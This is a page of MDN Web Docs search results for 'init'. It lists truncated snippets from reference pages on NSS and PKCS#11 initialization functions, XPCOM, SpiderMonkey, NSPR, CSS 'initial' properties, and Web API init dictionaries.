Search completed in 1.11 seconds.
9094 results for "init":
Your results are loading. Please wait...
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and summary 1 mdn web docs glossary: definitions of web-related terms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abbreviations that are used in documentation and coding.
... this glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web.
...web accessibility is formally defined and discussed at the w3c through the web accessibility initiative (wai).
...And 19 more matches
NSS_Initialize
name nss_initialize - initialize nss.
... syntax secstatus nss_initialize(const char *configdir, const char *certprefix, const char *keyprefix, const char *secmodname, pruint32 flags); parameters nss_initialize has five parameters: configdir [in] the directory where the certificate, key, and module databases live.
...flags [in] bit flags that specify how nss should be initialized.
...And 17 more matches
Initialization and Destruction - Plugins
« previousnext » this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown.
... initialization: the browser calls the plug-in api function np_initialize when the plug-in code is first loaded.
... this chapter ends with initialize and shutdown example, which includes the np_initialize and np_shutdown methods.
...And 16 more matches
Number.NEGATIVE_INFINITY - JavaScript
the number.negative_infinity property represents the negative infinity value.
... property attributes of number.negative_infinity writable no enumerable no configurable no description the value of number.negative_infinity is the same as the negative value of the global object's infinity property.
... this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by negative_infinity is negative_infinity.
...And 14 more matches
Number.POSITIVE_INFINITY - JavaScript
the number.positive_infinity property represents the positive infinity value.
... property attributes of number.positive_infinity writable no enumerable no configurable no description the value of number.positive_infinity is the same as the value of the global object's infinity property.
... this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by positive_infinity is positive_infinity.
...And 14 more matches
JS_InitClass
syntax jsobject * js_initclass(jscontext *cx, js::handleobject obj, js::handleobject parent_proto, const jsclass *clasp, jsnative constructor, unsigned nargs, const jspropertyspec *ps, const jsfunctionspec *fs, const jspropertyspec *static_ps, const jsfunctionspec *static_fs); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handleobject pointer to the "globals" object to use for initializing the class.
...once js_initclass creates the new class's constructor, it stores the constructor as a property in this object.
...And 13 more matches
NS_CStringContainerInit2
« xpcom api reference summary the ns_cstringcontainerinit2 function initializes a nscstringcontainer instance for use as a nsacstring.
... #include "nsstringapi.h" nsresult ns_cstringcontainerinit2( nscstringcontainer& acontainer, const char* adata = nsnull, pruint32 adatalength = pr_uint32_max, pruint32 aflags = 0 ); parameters acontainer [in] the nscstringcontainer instance to initialize.
... adata [in] an array of characters used to initialize the string object.
...And 12 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
WebHTMLElementdfn
the html definition element (<dfn>) is used to indicate the term being defined within the context of a definition phrase or sentence.
... the <p> element, the <dt>/<dd> pairing, or the <section> element which is the nearest ancestor of the <dfn> is considered to be the definition of the term.
...such links should be uses of the term, with the intent being that the reader can quickly navigate to the term's definition if they're not already aware of it, by clicking on the term's link.
...And 11 more matches
Object initializer - JavaScript
objects can be initialized using new object(), object.create(), or using the literal notation (initializer notation).
... an object initializer is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}).
... // shorthand property names (es2015) let a = 'foo', b = 42, c = {}; let o = {a, b, c} // shorthand method names (es2015) let o = { property(parameters) {} } // computed property names (es2015) let prop = 'foo' let o = { [prop]: 'hey', ['b' + 'ar']: 'there' } description an object initializer is an expression that describes the initialization of an object.
...And 11 more matches
Value definition syntax - CSS: Cascading Style Sheets
css value definition syntax, a formal grammar, is used for defining the set of valid values for a css property or function.
... the definition syntax describes which values are allowed and the interactions between them.
... the specific case of inherit, initial and unset all css properties accept the keywords inherit, initial and unset, that are defined throughout css.
...And 10 more matches
FC_Initialize
summary fc_initialize - initialize the pkcs #11 library.
... syntax ck_rv fc_initialize(ck_void_ptr pinitargs); parameters pinitargs points to a ck_c_initialize_args structure.
... description fc_initialize initializes the nss cryptographic module for the fips mode of operation.
...And 9 more matches
FC_InitToken
name fc_inittoken() - initialize or re-initialize a token.
... syntax ck_rv fc_inittoken( ck_slot_id slotid, ck_char_ptr ppin, ck_ulong ulpinlen, ck_char_ptr plabel ); parameters fc_inittoken() has the following parameters: slotid the id of the token's slot ppin the password of the security officer (so) ulpinlen the length in bytes of the so password plabel points to the label of the token, which must be padded with spaces to 32 bytes and not be null-terminated description fc_inittoken() initializes a brand new token or re-initializes a token that was initialized before.
... specifically, fc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs.
...And 8 more matches
NSC_InitToken
name nsc_inittoken() - initialize or re-initialize a token.
... syntax ck_rv nsc_inittoken( ck_slot_id slotid, ck_char_ptr ppin, ck_ulong ulpinlen, ck_char_ptr plabel ); parameters nsc_inittoken() has the following parameters: slotid the id of the token's slot ppin the password of the security officer (so) ulpinlen the length in bytes of the so password plabel points to the label of the token, which must be padded with spaces to 32 bytes and not be null-terminated description nsc_inittoken() initializes a brand new token or re-initializes a token that was initialized before.
... specifically, nsc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs.
...And 7 more matches
NS_InitXPCOM3
« xpcom api reference summary the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules.
... #include "nsxpcom.h" nsresult ns_initxpcom3( nsiservicemanager** aresult, nsifile* abindirectory, nsidirectoryserviceprovider* aappfilelocationprovider, nsstaticmoduleinfo const* astaticmodules, pruint32 astaticmodulecount ); parameters aresult [out] the resulting xpcom service manager.
... return values the ns_initxpcom3 function returns ns_ok if successful.
...And 7 more matches
PerformanceResourceTiming.initiatorType - Web APIs
the initiatortype read-only property is a string that represents the type of resource that initiated the performance event.
... the value of this string is as follows: if the initiator is a element, the property returns the element's localname.
... if the initiator is a css resource, the property returns "css".
...And 7 more matches
TypeError: Reduce of empty array with no initial value - JavaScript
the javascript exception "reduce of empty array with no initial value" occurs when a reduce function is used.
... message typeerror: reduce of empty array with no initial value error type typeerror what went wrong?
... these functions optionally take an initialvalue (which will be used as the first argument to the first call of the callback).
...And 7 more matches
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
conceptually, for example, a strict definition of hoisting suggests that variable and function declarations are physically moved to the top of your code, but this is not in fact what happens.
...the variables can be initialized and used before they are declared.
... only declarations are hoisted javascript only hoists declarations, not initializations.
...And 6 more matches
Initialize NSS database - sample 2
nss sample code 2: initialize the nss database.
... the nss sample code below demonstrates how to initialize the nss database.
...const char *progname) { fprintf(stderr, "\nusage: %s -d [-p ]" " [-f ]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d "); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p "); fprintf(stderr, "%-15s specify a password file\n\n", "-f "); exit(-1); } /* * initslotpassword */ char * initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { ...
...And 6 more matches
FC_InitPIN
name fc_initpin() - initialize the user's pin.
... syntax ck_rv fc_initpin( ck_session_handle hsession, ck_char_ptr ppin, ck_ulong ulpinlen ); parameters fc_initpin() takes three parameters: hsession[input] session handle.
... description fc_initpin() initializes the normal user's pin.
...And 6 more matches
JS_InitStandardClasses
initializes general js function and object classes, and the built-in object classes used in most scripts.
... syntax bool js_initstandardclasses(jscontext *cx, js::handle<jsobject*> obj); name type description cx jscontext * pointer to the executable script context for which to initialize js function and object classes.
... obj js::handle&lt;jsobject*&gt; the global object to initialize.
...And 6 more matches
NS_InitXPCOM2
« xpcom api reference summary the ns_initxpcom2 function initiates use of xpcom in the calling process.
... #include "nsxpcom.h" nsresult ns_initxpcom2( nsiservicemanager** aresult, nsifile* abindirectory, nsidirectoryserviceprovider* aappfilelocationprovider ); parameters aresult [out] the resulting xpcom service manager.
... return values the ns_initxpcom2 function returns ns_ok if successful.
...And 6 more matches
initial-letter-align - CSS: Cascading Style Sheets
the initial-letter-align css property specifies the alignment of initial letters within a paragraph.
... /* keyword values */ initial-letter-align: auto; initial-letter-align: alphabetic; initial-letter-align: hanging; initial-letter-align: ideographic; /* global values */ initial-letter-align: inherit; initial-letter-align: initial; initial-letter-align: unset; syntax one of the keyword values listed below.
... alphabetic as described above, the cap height of the initial letter aligns with the cap height of the first line of text.
...And 6 more matches
initial - CSS: Cascading Style Sheets
WebCSSinitial
the initial css keyword applies the initial (or default) value of a property to an element.
...this includes the css shorthand all, with which initial can be used to restore all css properties to their initial state.
... on inherited properties, the initial value may be unexpected.
...And 6 more matches
Process Initialization
this chapter describes the nspr api for versioning, process initialization, and shutdown of nspr.
... identity and versioning initialization and cleanup module initialization identity and versioning name and version constants pr_name pr_version pr_versioncheck initialization and cleanup nspr detects whether the library has been initialized and performs implicit initialization if it hasn't.
... implicit initialization should suffice unless a program has specific sequencing requirements or needs to characterize the primordial thread.
...And 5 more matches
NSS Sample Code Sample_2_Initialization of NSS
nss sample code 2: initializing nss this example program demonstrates how to initialize the nss database.
...> [-p <plainpasswc>]" " [-f <passwdffile>]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p <plainpasswc>"); fprintf(stderr, "%-15s specify a password file\n\n", "-f <plainpasswc>"); exit(-1); } /* initialize the slot password */ char *initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plain...
...text) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a password which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: "...
...And 5 more matches
JS_GetPositiveInfinityValue
retrieve a floating-point infinity as a value of type js::value.
... syntax // added in spidermonkey 42 js::value js_getpositiveinfinityvalue(jscontext *cx); js::value js_getnegativeinfinityvalue(jscontext *cx); // obsolete since spidermonkey 42 jsval js_getpositiveinfinityvalue(jscontext *cx); jsval js_getnegativeinfinityvalue(jscontext *cx); name type description cx jscontext * a context.
... description js_getpositiveinfinityvalue returns a js::value that represents an ieee floating-point positive infinity.
...And 5 more matches
DOMPointInit.w - Web APIs
WebAPIDOMPointInitw
the dompointinit dictionary's w property is used to specify the w perspective value of a point in space when either creating or serializing to json a dompoint or dompointreadonly object.
... syntax var dompointinit = { w: wperspective }; dompointinit.w = wperspective; var wperspective = dompointinit.w; value a double-precision floating-point value indicating the point's w perspective value.
... this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
...And 5 more matches
DOMPointInit.y - Web APIs
WebAPIDOMPointInity
the dompointinit dictionary's y property is used to specify the y-coordinate of a point in 2d or 3d space when either creating or serializing to json a dompoint or dompointreadonly object.
... syntax var dompointinit = { y: ypos }; dompointinit.y = ypos; var ypos = dompointinit.y; value a double-precision floating-point value indicating the point's y-coordinate.
... this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
...And 5 more matches
DOMPointInit.z - Web APIs
WebAPIDOMPointInitz
the dompointinit dictionary's z property is used to specify the z-coordinate of a point in 2d or 3d space when either creating or serializing to json a dompoint or dompointreadonly object.
... syntax var dompointinit = { z: zpos }; dompointinit.z = zpos; var zpos = dompointinit.z; value a double-precision floating-point value indicating the point's z-coordinate.
... this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
...And 5 more matches
Event.initEvent() - Web APIs
WebAPIEventinitEvent
the event.initevent() method is used to initialize the value of an event created using document.createevent().
... events initialized in this way must have been created with the document.createevent() method.
... syntax event.initevent(type, bubbles, cancelable); type is a domstring defining the type of event.
...And 5 more matches
initial-letter - CSS: Cascading Style Sheets
the initial-letter css property sets styling for dropped, raised, and sunken initial letters.
... /* keyword values */ initial-letter: normal; /* numeric values */ initial-letter: 1.5; /* initial letter occupies 1.5 lines */ initial-letter: 3.0; /* initial letter occupies 3 lines */ initial-letter: 3.0 2; /* initial letter occupies 3 lines and sinks 2 lines */ /* global values */ initial-letter: inherit; initial-letter: initial; initial-letter: unset; syntax the keyword value normal, or a <number> optionally followed by an <integer>.
... values normal no special initial-letter effect.
...And 5 more matches
Initial value - CSS: Cascading Style Sheets
the initial value of a css property is its default value, as listed in its definition table in the specification.
... the usage of the initial value depends on whether a property is inherited or not: for inherited properties, the initial value is used on the root element only, as long as no specified value is supplied.
... for non-inherited properties, the initial value is used on all elements, as long as no specified value is supplied.
...And 5 more matches
Infinity - JavaScript
the global property infinity is a numeric value representing infinity.
... property attributes of infinity writable no enumerable no configurable no the source for this interactive example is stored in a github repository.
... description infinity is a property of the global object.
...And 5 more matches
isFinite() - JavaScript
the global isfinite() function determines whether the passed value is a finite number.
... syntax isfinite(testvalue) parameters testvalue the value to be tested for finiteness.
... return value false if the argument is positive or negative infinity or nan or undefined; otherwise, true.
...And 5 more matches
NS_CStringContainerInit
« xpcom api reference summary the ns_cstringcontainerinit function initializes a nscstringcontainer instance for use as a nsacstring.
... #include "nsstringapi.h" nsresult ns_cstringcontainerinit( nscstringcontainer& astring ); parameters astring [in] a nscstringcontainer instance to be initialized.
... return values the ns_cstringcontainerinit function returns ns_ok if successful.
...And 4 more matches
DOMPointInit.x - Web APIs
WebAPIDOMPointInitx
the dompointinit dictionary's x property is used to specify the x component of a point in 2d or 3d space when either creating or serializing a dompoint or dompointreadonly.
... syntax var dompointinit = { x: xpos }; dompointinit.x = xpos; var xpos = dompointinit.x; value a double-precision floating-point value indicating the point's x coordinate.
... this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
...And 4 more matches
DOMPointInit - Web APIs
the dompointinit dictionary is used to provide the values of the coordinates and perspective when creating and jsonifying a dompoint or dompointreadonly object.
... properties dompointinit.x an unrestricted floating-point value indicating the x-coordinate of the point in space.
... dompointinit.y an unrestricted floating-point number providing the point's y-coordinate.
...And 4 more matches
KeyboardEvent.initKeyEvent() - Web APIs
the keyboardevent.initkeyevent() method is used to initialize the value of an event created using document.createevent("keyboardevent").
... events initialized in this way must have been created with the document.createevent("keyboardevent") method.
... initkeyevent() must be called to set the event before it is dispatched.
...And 4 more matches
UIEvent.initUIEvent() - Web APIs
the uievent.inituievent() method initializes a ui event once it's been created.
... events initialized in this way must have been created with the document.createevent() method.
... syntax event.inituievent(type, canbubble, cancelable, view, detail) parameters type is a domstring defining the type of event.
...And 4 more matches
initInstall - Archive of obsolete content
initinstall initializes the installation of the specified software and version.
... method of install object syntax int initinstall ( string displayname, string package, installversion version, int flags); int initinstall ( string displayname, string package, string version, int flags); int initinstall ( string displayname, string package, string version); int initinstall ( string displayname, string package, installversion version); parameters the initinstall method has the following parameters: displayname a string that contains the name of the software being installed.
...description the initinstall method initializes the installation of the specified software.
...And 3 more matches
NS_StringContainerInit
« xpcom api reference summary the ns_stringcontainerinit function initializes a nsstringcontainer instance for use as a nsastring.
... #include "nsstringapi.h" nsresult ns_stringcontainerinit( nsstringcontainer& astring ); parameters astring [in] a nsstringcontainer instance to be initialized.
... return values the ns_stringcontainerinit function returns ns_ok if successful.
...And 3 more matches
CustomEvent.initCustomEvent() - Web APIs
the customevent.initcustomevent() method initializes a customevent object.
... events initialized in this way must have been created with the document.createevent() method.
... syntax event.initcustomevent(type, canbubble, cancelable, detail); parameters type is a domstring containing the name of the event.
...And 3 more matches
MouseEvent.initMouseEvent() - Web APIs
the mouseevent.initmouseevent() method initializes the value of a mouse event once it's been created (normally using the document.createevent() method).
... events initialized in this way must have been created with the document.createevent() method.
... syntax event.initmouseevent(type, canbubble, cancelable, view, detail, screenx, screeny, clientx, clienty, ctrlkey, altkey, shiftkey, metakey, button, relatedtarget); parameters type the string to set the event's type to.
...And 3 more matches
Number.isFinite() - JavaScript
the number.isfinite() method determines whether the passed value is a finite number.
... syntax number.isfinite(value) parameters value the value to be tested for finiteness.
... return value a boolean indicating whether or not the given value is a finite number.
...And 3 more matches
State machine - MDN Web Docs Glossary: Definitions of Web-related terms
there are two types of basic state machines: deterministic finite state machine this kind allows only one possible transition for any allowed input.
... non-deterministic finite state machine given some state, an input can lead to more than one different state.
... figure 1: deterministic finite state machine in figure 1, the state begins in state 1; the state changes to state 2 given input 'x', or to state 3 given input 'y'.
...And 2 more matches
PR_Init
initializes the runtime.
... syntax #include <prinit.h> void pr_init( prthreadtype type, prthreadpriority priority, pruintn maxptds); parameters pr_init has the following parameters: type this parameter is ignored.
... description nspr is now implicitly initialized, usually by the first nspr function called by a program.
...And 2 more matches
PR_Initialize
provides an alternate form of explicit initialization.
... in addition to establishing the sequence of operations, pr_initialize implicitly calls pr_cleanup on exiting the primordial function.
... syntax #include <prinit.h> printn pr_initialize( prprimordialfn prmain, printn argc, char **argv, pruintn maxptds); parameters pr_initialize has the following parameters: prmain the function that becomes the primordial thread's root function.
...And 2 more matches
FC_DecryptInit
name fc_decryptinit - initialize a decryption operation.
... syntax ck_rv fc_decryptinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... description fc_decryptinit initializes a decryption operation.
...And 2 more matches
FC_DigestInit
name fc_digestinit - initialize a message-digest operation.
... syntax ck_rv fc_digestinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism ); parameters hsession [in] session handle.
... description fc_digestinit initializes a message-digest operation.
...And 2 more matches
FC_EncryptInit
name fc_encryptinit - initialize an encryption operation.
... syntax ck_rv fc_encryptinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession[in] handle to the session.
... description fc_encryptinit initializes an encryption operation with the mechanism and key to be used.
...And 2 more matches
FC_FindObjectsInit
name fc_findobjectsinit - initialize the parameters for an object search.
... syntax ck_rv fc_findobjectsinit( ck_session_handle hsession, ck_attribute_ptr ptemplate, ck_ulong uscount ); parameters hsession [in] session handle.
... description fc_findobjectsinit sets the attribute list for an object search.
...And 2 more matches
FC_SignInit
name fc_signinit - initialize a signing operation.
... syntax ck_rv fc_signinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... description fc_signinit initializes a signature operation.
...And 2 more matches
FC_SignRecoverInit
name fc_signrecoverinit - initialize a sign recover operation.
... syntax ck_rv fc_signrecoverinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... description fc_signrecoverinit initializes a initializes a signature operation where the (digest) data can be recovered from the signature.
...And 2 more matches
FC_VerifyInit
name fc_verifyinit - initialize a verification operation.
... syntax ck_rv fc_verifyinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... description fc_verifyinit initializes a verification operation where the signature is an appendix to the data.
...And 2 more matches
FC_VerifyRecoverInit
name fc_verifyrecoverinit - initialize a verification operation where data is recoverable.
... syntax ck_rv fc_verifyrecoverinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession [in] session handle.
... description fc_verifyrecoverinit initializes a signature verification operation where the (digest) data can be recovered from the signature.
...And 2 more matches
JS_Init
this article covers features introduced in spidermonkey 31 initializes the js engine so that further operations can be performed.
... syntax #include "js/initialization.h" // previously "jsapi.h" bool js_init(void); description initialize spidermonkey, returning true only if initialization succeeded.
... it is currently not possible to initialize spidermonkey multiple times (that is, calling js_init, jsapi methods, then js_shutdown in that order, then doing so again).
...And 2 more matches
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe providing information about the timestamp at which the new input source event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place.
... of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself.
... syntax xrinputsourceeventinit.frame = xrframe; let xrinputsourceeventinit = { frame: xrframe }; let xrinputsourceevent = new xrinputsourceevent(type, { frame: xrframe }); value an xrframe indicating the time at which the event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space.
...And 2 more matches
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsourceeventinit dictionary's inputsource property is used when calling the xrinputsourceevent() constructor to specify the xrinputsource from which the newly-created event is being sent.
... of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself.
... syntax let xrinputsourceeventinit.inputsource = xrinputsource; let xrinputsourceeventinit = { inputsource: xrinputsource }; let xrinputsourceevent = new xrinputsourceevent(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the newly-created xrinputsourceevent to be created.
...And 2 more matches
SyntaxError: for-in loop head declarations may not have initializers - JavaScript
the javascript strict mode-only exception "for-in loop head declarations may not have initializers" occurs when the head of a for...in contains an initializer expression, such as |for (var i = 0 in obj)|.
... message syntaxerror: for-in loop head declarations cannot have an initializer (edge) syntaxerror: for-in loop head declarations may not have initializers (firefox) syntaxerror: for-in loop variable declaration may not have an initializer.
... the head of a for...in loop contains an initializer expression.
...And 2 more matches
SyntaxError: a declaration in the head of a for-of loop can't have an initializer - JavaScript
the javascript exception "a declaration in the head of a for-of loop can't have an initializer" occurs when the head of a for...of loop contains an initializer expression such as |for (var i = 0 of iterable)|.
... message syntaxerror: for-of loop head declarations cannot have an initializer (edge) syntaxerror: a declaration in the head of a for-of loop can't have an initializer (firefox) syntaxerror: for-of loop variable declaration may not have an initializer.
... the head of a for...of loop contains an initializer expression.
...And 2 more matches
PR_INIT_STATIC_CLIST
statically initializes a circular list.
... syntax #include <prclist.h> pr_init_static_clist (prclist *listp); parameter listp a pointer to the anchor of the linked list.
... description pr_init_static_clist statically initializes the specified list to be an empty list.
... for example, prclist free_object_list = pr_init_static_clist(&free_object_list); ...
CompositionEvent.initCompositionEvent() - Web APIs
the initcompositionevent() method of the compositionevent interface initializes the attributes of a compositionevent object instance.
... syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg, viewarg, dataarg, localearg) parameters typearg a domstring representing the type of composition event; this will be one of compositionstart, compositionupdate, or compositionend.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'initcompositionevent()' in that specification.
... obsolete initial definition.
MSManipulationEvent.initMSManipulationEvent() - Web APIs
the initmsmanipulationevent method is used to create a msmanipulationevent that can be called from javascript.
...beginning with the microsoft edge browser, the initevent() constructor pattern for synthetic events is deprecated.
... syntax msmanipulationevent.initmsmanipulationevent(typearg, canbubblearg, cancelablearg, viewarg, detailarg, laststate, currentstate); parameters typearg [in] type: domstring the type of the event being created.
... example interface msmanipulationevent extends uievent { readonly currentstate: number; readonly inertiadestinationx: number; readonly inertiadestinationy: number; readonly laststate: number; initmsmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean, viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly ms_manipulation_state_active: number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_mani...
initDataTypes - Web APIs
the mediakeysystemconfiguration.initdatatypes read-only property returns a list of supported initialization data type names.
... an initialization data type is a string indicating the format of the initialization data.
... syntax var datatypes[] = mediasystemconfiguration.initdatatypes; specifications specification status comment encrypted media extensionsthe definition of 'initdatatypes' in that specification.
... recommendation initial definition ...
RTCIceCandidateInit.candidate - Web APIs
the optional property candidate in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's candidate property.
...andidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary.
... that usage would change the above sample to look like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate(msg.candidate); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateInit - Web APIs
the webrtc api's rtcicecandidateinit dictionary, which contains the information needed to fundamentally describe an rtcicecandidate.
... rtcicecandidateinit is used when using new rtcicecandidate() to create a new ice candidate object.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit' in that specification.
... candidate recommendation initial definition.
RTCTrackEventInit.receiver - Web APIs
the rtctrackeventinit dictionary's receiver property specifies the rtcrtpreceiver associated with the event.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtpreceiver = trackeventinit.receiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.receiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.streams - Web APIs
the rtctrackeventinit dictionary's optional streams property provides an array containing a mediastream object for each of the streams associated with the event's track.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var streamlist = trackeventinit.streams; value an array of mediastream objects, one for each stream which make up the track.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.streams' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.track - Web APIs
the rtctrackeventinit dictionary's track property specifies the mediastreamtrack associated with the track event.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var track = trackeventinit.track; value a mediastreamtrack representing the track with which the event is associated.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.track' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.transceiver - Web APIs
the rtctrackeventinit dictionary's transceiver property specifies the rtcrtptransceiver associated with the track event.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtptransceiver = trackeventinit.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.transceiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit - Web APIs
the webrtc api's rtctrackeventinit dictionary is used to provide information describing an rtctrackevent when instantiating a new track event using new rtctrackevent().
... properties rtctrackeventinit inherits properties from the eventinit dictionary, and also includes the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit' in that specification.
... candidate recommendation initial specification.
XRInputSourceEventInit - Web APIs
the xrinputsourceeventinit dictionary is used when calling the xrinputsourceevent() constructor to provide configuration options for the newly-created xrinputsourceevent object to take on.
... properties the xrinputsourceeventinit dictionary inherits properties from the eventinit dictionary.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit' in that specification.
... working draft initial definition.
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are newly available for use.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device added to the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.added' in that specification.
... working draft initial definition.
XRInputSourcesChangeEventInit.removed - Web APIs
the xrinputsourceschangeeventinit property removed is an array of zero or more xrinputsource objects, each representing one input source which has been removed from the xrsession.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device removed from the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.removed' in that specification.
... working draft initial definition.
XRInputSourcesChangeEventInit.session - Web APIs
the xrinputsourceschangeeventinit property session specifies the xrsession to which the input source list change event applies.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.session' in that specification.
... working draft initial definition.
XRReferenceSpaceEventInit.referenceSpace - Web APIs
the xrreferencespaceeventinit property referencespace is used to establish the value of a newly-constructed xrreferencespaceevent object when calling the xrreferencespaceevent() constructor.
... syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrreferencespace indicating the source of the event.
